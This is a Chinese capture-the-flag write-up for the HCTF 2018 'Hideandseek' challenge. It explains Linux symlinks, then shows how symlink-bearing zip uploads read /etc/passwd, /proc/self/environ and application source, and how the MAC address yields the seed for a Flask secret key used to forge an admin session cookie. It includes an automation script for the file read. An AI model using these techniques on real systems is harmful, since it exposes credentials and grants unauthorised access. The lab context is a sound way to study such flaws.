BUU [HCTF 2018]Hideandseek

BUU [HCTF 2018]Hideandseek

考点:

  1. 软连接读取任意文件
  2. Flask 伪造session
  3. /proc/self/environ文件获取当前进程的环境变量列表
  4. random.seed()生成的伪随机数种子
  5. MAC地址 (存放在/sys/class/net/eth0/address文件)

国赛的时候遇见过软连接,这次再来学习一下,也算是一个心病了。

先介绍一下什么是软连接。


Linux中包括两种链接:硬链接(Hard Link)软链接(Soft Link),软链接又称为符号链接(Symbolic link)。

【硬连接】

硬连接指通过索引节点来进行连接。在Linux的文件系统中,保存在磁盘分区中的文件不管是什么类型都给它分配一个编号,称为索引节点号(Inode Index)。在Linux中,多个文件名指向同一索引节点是存在的。一般这种连接就是硬连接。硬连接的作用是允许一个文件拥有多个有效路径名,这样用户就可以建立硬连接到重要文件,以防止"误删"的功能。其原因如上所述,因为对应该目录的索引节点有一个以上的连接。只删除一个连接并不影响索引节点本身和其它的连接,只有当最后一个连接被删除后,文件的数据块及目录的连接才会被释放。也就是说,文件真正删除的条件是与之相关的所有硬连接文件均被删除。硬链接说白了是一个指针,指向文件索引节点,系统并不为它重新分配inode。

【软连接】

软连接是linux中一个常用命令,它的功能是为某一个文件在另外一个位置建立一个不同的链接。实际应用是:当 我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在其它的 目录下用ln命令 链接(link)就可以,不必重复的占用磁盘空间。

索引节点(inode)

要了解链接,我们首先得了解一个概念,叫索引节点(inode)。在Linux系统中,内核为每一个新创建的文件分配一个Inode(索引结点),每个文件都有一个惟一的inode号,我们可以将inode简单理解成一个指针,它永远指向本文件的具体存储位置。文件属性保存在索引结点里,在访问文件时,索引结点被复制到内存在,从而实现文件的快速访问。系统是通过索引节点(而不是文件名)来定位每一个文件。


软连接用法:

创建软链接

ln -s [源文件或目录] [目标文件或目录]

bash 复制代码
//当前路径创建test 引向/var/www/test 文件夹 
ln --s  /var/www/test  test

//创建/var/test 引向/var/www/test 文件夹 
ln --s  /var/www/test   /var/test

删除软链接

bash 复制代码
//删除test
rm --rf test

修改软链接

ln --snf [新的源文件或目录] [目标文件或目录]

这将会修改原有的链接地址为新的地址

bash 复制代码
//创建一个软链接
ln --s /var/www/test /var/test

//修改指向的新路径
ln --snf /var/www/test1 /var/test

常用参数:

-f : 链结时先将与 dist 同档名的档案删除

-d : 允许系统管理者硬链结自己的目录

-i : 在删除与 dist 同档名的档案时先进行询问

-n : 在进行软连结时,将 dist 视为一般的档案

-s : 进行软链结(symbolic link)

-v : 在连结之前显示其档名

-b : 将在链结时会被覆写或删除的档案进行备份

-S SUFFIX : 将备份的档案都加上 SUFFIX 的字尾

-V METHOD : 指定备份的方式

--help : 显示辅助说明

--version : 显示版本


开始做题。

当前页面只有登录一个功能可以用,其他都不会跳转。尝试登录。

发现任意用户密码均可登录,但是唯独不能登录admin。

登录后有一个上传文件点。提示我们上传.zip后缀的压缩包。

随便上传一个.php试试水,发现只能上传.zip压缩包。

压缩包很容易让人想到软连接,尝试先随便上传一个.zip压缩包。没有任何回显。

然后上传一个内容为软连接的压缩包,尝试读取/etc/passwd文件。

linux中输入命令制作软连接压缩包。

bash 复制代码
ln -s /etc/passwd passwd
zip -y passwd.zip passwd

rm --rf passwd

然后上传,发现成功回显服务端/etc/passwd的内容。

那理论上来说,我们也能直接读取/flag的内容。但是尝试了一下却失败了。。。

猜测可能是权限不足,需要以admin身份登录才能有权限读取/flag。如何登录admin,信息搜集一下发现了session,服务端应该是通过session判断身份的,我们需要伪造session。同时,通过session判断出使用了flask的框架。

下载一个工具flask_unsign,文件夹内开终端。工具只能解密爆破不出密码,只能自己找了。

bash 复制代码
flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6IjExMSJ9.F9gzQg.rUpgzWsMZS-4g4XKmZ3GL1-bRPQ'

得到{'username': '111'}

伪造session需要secret_key,尝试找一下源码。

因为已经通过软连接读取任意文件,我们尝试读取/proc/self/environ文件,以获取当前进程的环境变量列表,包括flask下的环境变量。

解释以下,其中/proc是虚拟文件系统,存储当前运行状态的一些特殊文件,可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态,而/environ是当前进程的环境变量列表。

bash 复制代码
ln -s /proc/self/environ self
zip -y self.zip self

rm --rf self

成功读取/proc/self/environ文件后。

我们注意到UWSGI_INI=/app/uwsgi.ini。也就是uwsgi服务器的配置文件,其中可能包含有源码路径。

client ---> nginx ---> uwsgi --> flask后台程序 (生产上一般都用这个流程)

我们以同样的方式制作软连接读取

bash 复制代码
ln -s /app/uwsgi.ini uwsgi
zip -y uwsgi.zip uwsgi

rm --rf uwsgi

得到源码路径,但是BUU环境有问题,这种做法当时比赛读到的源码路径是/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py,我们也以这个路径来做题,继续软连接读取源码。

bash 复制代码
ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py main
zip -y main.zip main

rm --rf main

Ctrl+U看得更加清楚一点。

python 复制代码
 # -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='0.0.0.0', debug=True, port=10008)

浏览源码,SECRET_KEY是由python的随机函数random()生成的,种子是uuid.getnode()。和PHP一样,python的random()函数也是伪随机数,只要我们知道了种子uuid.getnode()是多少,拿到随机数生成的密钥SECRET_KEY不是问题。

python中uuid.getnode()方法以48正整数 形式获取硬件地址,也就是服务器的MAC地址。

现在的逻辑是这样的。MAC地址=》随机数种子=》SECRET_KEY=》伪造session=》admin登录=》flag。

查找到MAC地址 存放在/sys/class/net/eth0/address文件中,软连接读取该文件:

复制代码
ln -s /sys/class/net/eth0/address mac
zip -y mac.zip mac

rm --rf mac

也有其他方法找mac地址:

c6:1b:39:ac:ff:91c61b39acff91转十进制是217820234055569

本地跑一下密钥就出来。是76.9034879300039

kali中flask_session_cookie_manager3工具文件夹下开终端。

复制代码
python flask_session_cookie_manager3.py encode -s "76.9034879300039" -t "{'username': 'admin'}"

得到eyJ1c2VybmFtZSI6ImFkbWluIn0.ZPaw7Q.seTwvDjojrAUhJXF998kV7QYEKY

成功登录admin账号,也不用再读取flag了,直接给了。


找到一个软连接脚本:

python 复制代码
import os
import requests
import sys


def make_zip():
    os.system('ln -s ' + sys.argv[2] + ' test_exp')
    os.system('zip -y test_exp.zip test_exp')


def run():
    make_zip()
    res = requests.post(sys.argv[1], files={'the_file': open('./test_exp.zip', 'rb')})
    print(res.text)

    os.system('rm -rf test_exp')
    os.system('rm -rf test_exp.zip')


if __name__ == '__main__':
    run()
相关推荐
李枫月17 分钟前
Server2003 B-1 Windows操作系统渗透
网络安全·环境解析·server2003
爱喝喜茶爱吃烤冷面的小黑黑18 分钟前
小黑一层层削苹果皮式大模型应用探索:langchain中智能体思考和执行工具的demo
python·langchain·代理模式
超级小忍24 分钟前
如何配置 MySQL 允许远程连接
数据库·mysql·adb
吹牛不交税37 分钟前
sqlsugar WhereIF条件的大于等于和等于查出来的坑
数据库·mysql
hshpy1 小时前
setting up Activiti BPMN Workflow Engine with Spring Boot
数据库·spring boot·后端
Blossom.1181 小时前
使用Python和Flask构建简单的机器学习API
人工智能·python·深度学习·目标检测·机器学习·数据挖掘·flask
Love__Tay2 小时前
【学习笔记】Python金融基础
开发语言·笔记·python·学习·金融
文牧之2 小时前
Oracle 审计参数:AUDIT_TRAIL 和 AUDIT_SYS_OPERATIONS
运维·数据库·oracle
篱笆院的狗2 小时前
如何使用 Redis 快速实现布隆过滤器?
数据库·redis·缓存
有风南来3 小时前
算术图片验证码(四则运算)+selenium
自动化测试·python·selenium·算术图片验证码·四则运算验证码·加减乘除图片验证码